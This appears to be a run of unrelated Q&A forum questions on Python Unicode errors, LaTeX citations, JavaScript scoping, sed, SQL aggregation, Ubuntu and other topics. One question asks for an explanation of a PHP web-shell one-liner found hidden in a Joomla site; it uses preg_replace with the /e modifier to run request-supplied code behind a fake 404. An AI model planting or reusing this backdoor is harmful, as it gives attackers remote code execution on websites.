codecs.charmap_encode(input,errors,encoding_map) UnicodeEncodeError: 'charmap' codec can't encode characters in position 31-32: character maps to <undefined>   I thought I could just run from IDLE to avoid the character limitations in the command prompt, but I just get a different error. There, it only grabs the first link, and then it spits out this:  Traceback (most recent call last):   File "C:\Python27\test\scrape.py", line 15, in <module>     print col[0].find('a').contents[0] # name   File "C:\Python27\lib\idlelib\PyShell.py", line 1344, in write     s = unicode.__getslice__(s, None, None) TypeError: an integer is required   I've also tried using BS4 to replace the en dashes with hyphens before spitting them out, but I can't even get that replacement to work in a totally stripped-down command. When I use:  # -*- coding: cp1252 -*- from bs4 import BeautifulSoup  soup = BeautifulSoup("–") soup.find(text="–").replaceWith("--") print soup   I get this:  Traceback (most recent call last):   File "C:\Python27\test\replace.py", line 5, in <module>     soup.find(text="–").replaceWith("--")   File "C:\Python27\lib\site-packages\bs4\element.py", line 1159, in find     l = self.find_all(name, attrs, recursive, text, 1, **kwargs)   File "C:\Python27\lib\site-packages\bs4\element.py", line 1180, in find_all     return self._find_all(name, attrs, text, limit, generator, **kwargs)   File "C:\Python27\lib\site-packages\bs4\element.py", line 484, in _find_all     strainer = SoupStrainer(name, attrs, text, **kwargs)   File "C:\Python27\lib\site-packages\bs4\element.py", line 1446, in __init__     self.text = self._normalize_search_value(text)   File "C:\Python27\lib\site-packages\bs4\element.py", line 1457, in _normalize_search_value     return value.decode("utf8")   File "C:\Python27\lib\encodings\utf_8.py", line 16, in decode     return codecs.utf_8_decode(input, errors, True) UnicodeDecodeError: 'utf8' codec can't decode byte 0x96 in position 0: invalid start byte   That error at least comes back the same from both the command line and IDLE, but I'm not really sure whether that's better or worse.  I've been screwing around with this for a few hours, and although I've found several threads where people are talking about UnicodeEncode/DecodeErrors, I don't really have a strong enough grasp of the language yet to figure out how to apply those answers to this.  Thanks for the help.


Based on  I was able to produce a citation that is Authors, Journal Year. By I was hoping to fix two things in the example below to match the \footcite case:  1) I would like the color to be black  2) I would like the year to be in parenthesis  \documentclass[10pt,english,compress]{beamer}  %Beamer Settings \usetheme{Warsaw} \setbeamercovered{dynamic}   %BIB File \usepackage{filecontents} \begin{filecontents}{MWE.bib} @article{ref1, author = "Appleton, W. and Anderson, Z. and Almeirim, P.", title = "This is the title of this article, which as you can see, is very long and takes up too much space in the footnote.", journal = "Journal of Interesting Things", year = 2013} @book{ref2, author = "Burger, J.", title = "The title of the Book is this", publisher = "Public Publishing Publishers", year = 2014 } \end{filecontents}  \usepackage[backend=bibtex,style=authortitle-dw,addyear=true]{biblatex} % For .bib references \addbibresource{MWE.bib}  % The bibliography file \newrobustcmd*{\footlessfullcite}{\AtNextCite{\renewbibmacro{title}{}\renewbibmacro{in:}{}}\footfullcite}   \begin{document}  \begin{frame}{Example in Beamer}     \begin{itemize}         \item This is an example of text.\pause{}         \item Here is the second text that contains a reference\footlessfullcite{ref1} in the middle of the sentence.\pause{}         \item Here is another reference at the end of the sentence\footcite{ref2}.     \end{itemize} \end{frame}  \end{document}


How to install perl module Util.pm .I am missing this module .What is the procedure to install a perl module


This is a problem I've had before on an old HP laptop. Now I have a Lenovo Z470. These are the keys I mean:   They seem to be capacitive buttons. When I press volume down for example, the volume goes all the way down and it keeps trying to go down (as if I'd kept pressing the key). Same thing happens for volume up and mute. I press ESC and it stops.  This does not happen if I use FN+DOWN (volume down) for example. So I'm guessing it's driver issues.  I found this, but it's really old and I've tried finding the code he's referring to but I couldn't:


Writing $(a,b)$ as a disjoint union of closed intervals

I've been thinking about the following question:  Is it possible to write $(a,b)$ as a disjoint union of closed intervals?  My first guess was no, but then I figured the question might be hiding something subtle. I tried various things, some which I asked about on this site, and I can't seem to construct such a union. So I decided to go back to my gut feeling and prove that it cannot be done. Attempt: Suppose there is such a union. Then each closed interval contains a rational. Given that the sets are disjoint, any rational specifies a unique interval. Therefore the union must be a countable union, and we can list the closed intervals. Choose some listing $I_1,I_2,\dotsc$ and let: $$(a,b)=\bigcup_{k=1}^{\infty} I_k.$$ Now define $$J_n=(a,b)\setminus \bigcup_{k=1}^n I_k.$$ Specifically, consider that $J_2$ contains a middle interval $(a',b')$ where $a<a'<b'<b$. Construct a sequence where each $u_n$ is arbitrarily chosen in $J_n \displaystyle\bigcap\, (a',b')$. By the Bolzano-Weierstrass theorem, $u_n$ contains a subsequence $v_n$ such that $v_n\to c$. We must have $c \in (a,b)$ so $J_{\infty}\neq \varnothing$ which is a contradiction. Put differently, no matter how the closed intervals are chosen, we can find a sequence in $(a,b)$ that converges to a limit in $(a,b)$ which is contained in none of the closed intervals. Is my proof correct?


If statement vs function blocks for var keywords

My question is why is a variable (when using var keyword) accessible outside the if statement block, but not outside the function block?  Consider this code:  let age = 30;  if (true){     let age = 40     console.log('inside', age)  //logs inside, 40//     var name = 'shaun' }  console.log('outside if loop', age, name) //logs outside if loop, 30, shaun //  function test (){     var xyz = 'ashley';     console.log(xyz)  } test ()  console.log('outside function', xyz) //throws an error//   Thank you for your time.  Any insights would be appreciated!


LaTeX to plain text for e.g. generation of statistics

I would like to convert a large LaTeX project (i.e. spanning multiple files) into plain text. The purpose is generation of statistics, so representing mathematics is not an issue. In fact, all mathematics is ideally ignored.  I have found  but could not get it to run. It seems unfinished, but is exactly what I am looking for otherwise.


Replace Canonical’s Firefox with Mozilla’s one on Ubuntu 20.04

I am not comfortable with the idea how Canonical implements it’s name in all DuckDuckGo search queries in Ubuntu. Maybe it’s not a huge privacy issue but I just don’t like such practices happening without my permission or even giving the choice to opt out. I realize that the company behind Ubuntu has to make money somehow and that’s OK. To the point: I would like to remove ‘t=canonical’ string in DDG url bar search. However, it seems this is not possible anymore via editing the ddg xml files as described in earlier AskUbuntu questions. Removing the DDG search engine and re-adding it does not solve the issue as well. That being said I guess my question really is: can I purge Canonical’s Firefox entirely and re-installing a pristine Mozilla’s browser while keeping ALL my user settings (including add-ons and about:config tweaks). I don’t believe in Firefox cloud profiles and I don’t want to create one for this purpose. So after uninstalling Ubuntu’s stock Firefox which exact folders should I delete and which must I keep before installing Firefox from source in order to preserve my custom settings? edit: The solutions provided here seem to not work on newer Firefox versions as mentioned above.


sed - Replace string with special characters

I want to replace the first string with the next  FindText[1]=/Folder 1/01. SubFolder/Demo(Object)  ReplaceText[1]=/Folder 1/01. SubFolder/02. SubFolder/Demo(Object)   I have tried this option with "|" but doesn't work.   >>sed -i 's|FindText[1]=/Folder 1/01. SubFolder/Demo(Object)|ReplaceText[1]=/Folder 1/01. SubFolder/02. SubFolder/Demo(Object)|g' filename.txt   The square brackets in the find expression doesn't seem to be found.


Could someone explain to me how the material exchange works in the actually destiny game. The two vendors I'm told to go to give me material in exchange for marks. Am I missing something? I'm also playing on Xbox One of that changes anything.


What does the code mean and how can be used by malicious hackers?

I just found on the Joomla installation of site I am managing a lot of templateDetails.php files hidden inside various folders with the following code:  <?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?>   I promptly recover a site backup, changed all administrator passwords and reinforced security on the website.  Can you explain me how this kind of code be used to stole or damage the website?


Is $E=mc^2$ strictly just a conversion formula?

$E=mc^2$ Does not this imply that there is no energy without mass,  or is it strictly a conversion formula?


String concatenation aggregation - SQL Server

I need to convert the column values from a set of rows into a single comma separated string.  So how can I transform this:  DtCreated               | UserName | Question          | Answer 2016-09-24 14:30:11.927 | mauricio | Upload 2 images:  | image1.jpeg 2016-09-24 14:30:11.927 | mauricio | Upload 2 images:  | image2.jpeg 2016-11-08 13:59:00.000 | mauricio | What's your name? | Mark 2016-11-08 13:59:00.000 | mauricio | What's your name? | Vivian 2016-11-08 15:37:26.000 | alex     | How old are you?  | 18 2016-11-08 15:37:26.000 | alex     | How old are you?  | 14   Into this:   DtCreated               | UserName | Question          | Answer 2016-09-24 14:30:11.927 | mauricio | Upload 2 images:  | image1.jpeg,image2.jpeg 2016-11-08 13:59:00.000 | mauricio | What's your name? | Mark,Vivian 2016-11-08 15:37:26.000 | alex     | How old are you?  | 18,14   This is my query:  SELECT   sf.DtCreated as [Data da Submissão],      sf.UserName as Usuário,  fc.Title as Question,  sv.Value + sv.Text as Answer   FROM [form].SubmissionForm sf   inner join [form].Submission s on   sf.id = s.SubmissionFormId   inner join [form].FormComponent fc on s.FormComponentId = fc.Id   inner join [form].SubmissionValue sv on s.Id = sv.Submission_Id   where sf.Form_Id = '31a224f2-5944-46d5-bf8f-d10cadb5a4b5'   order by sf.DtCreated,sf.UserName,s.subFormNumber,fc.[order] asc


I'm looking for info on how this idioms origin was documented to the USA? Can I grammatically eliminate any tie to the german book listed below. Could a latin spanish or Russian form translate well enough to our non literal meaning ?                                       Malleus Maleficarum, (Latin for "Hammer of The Witches) was an infamous witch-hunting manual written in 1486 by two German monks, Heinrich Kramer and Jacob Sprenger. It was used by both Catholics and Protestants[17] for several hundred years, outlining how to identify a witch, what makes a woman more likely than a man to be a witch, how to put a witch on trial, and how to punish a witch. The book defines a witch as evil and typically female. This book was not given the official Imprimatur of the Catholic Church, which would have made it approved by church authorities, but was used by the Inquisition nevertheless.


My Ubuntu LTS cannot find Xenial's point release

I'm on 14.04 LTS. 16.04.1 is supposed to be out, but this is what I get in the command line:  $ sudo do-release-upgrade -c Checking for a new Ubuntu release No new release found $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description:    Ubuntu 14.04.4 LTS Release:        14.04 Codename:       trusty   I have no idea where to start investigating this. Why can't my Ubuntu find the upgrade?  EDIT: answers have been suggested saying I should try sudo do-release-upgrade -d. I'm not sure I want to do that: I don't want to install the development version. Even if what this produces is not the installation of the development version but the installation of the point release (and I'm not sure I'll have any evidence of that until after the fact), I'm not sure I want to request the development version. I want to request a normal update. Also, this does not explain what's going on, nor does it solve it: it just bypasses it. If using -d is really the only solution available, I'll do it, but I'd much rather go to the root of the problem if I can.  EDIT 2: I ended up using the new meta-release-lts file solution.


split with regex is not returning correct repsonse

I have a string   var str3 = "[a,b,c] there [s,b,c] how are u";   What i want is [there, how are u] but I am getting ["", "how are u"], when splitting with str3.split(/\[.*\]/);  Any idea how i shud do it?


I would like to write the character "\" in Latex but since it is a keyword I am struggling in doing so. Is there a way to write it somehow?


Is it necessary to use past perfect tenses with words like "before" or "after"?

I had never done anything crazy in my life before I started learning how to skydive five months ago.      I never did anything crazy in my life before I started learning......   Are both the above sentences grammatically correct? I see natives not using past perfects all the time.   I was on  and if you would scroll down a bit, you'd see a sentence:     "She never saw a bear before she moved to Alaska."    It is deemed incorrect.


Protagonist attempts to destroy global administration computer, but instead is invited to join programming team

I'm working from a half-remembered description, so there may be errors. I don't know if it's a short story or a novel, or when it was written, but I think I heard about it at least fifteen years ago.  The world is run by a central computer that makes all economic decisions. The protagonist is dissatisfied and becomes involved in a plot to destroy the computer. However, when the protagonist enters the room that was supposed to contain the computer, instead the computer's programming team is there to applaud his "success", and they invite him to join the team.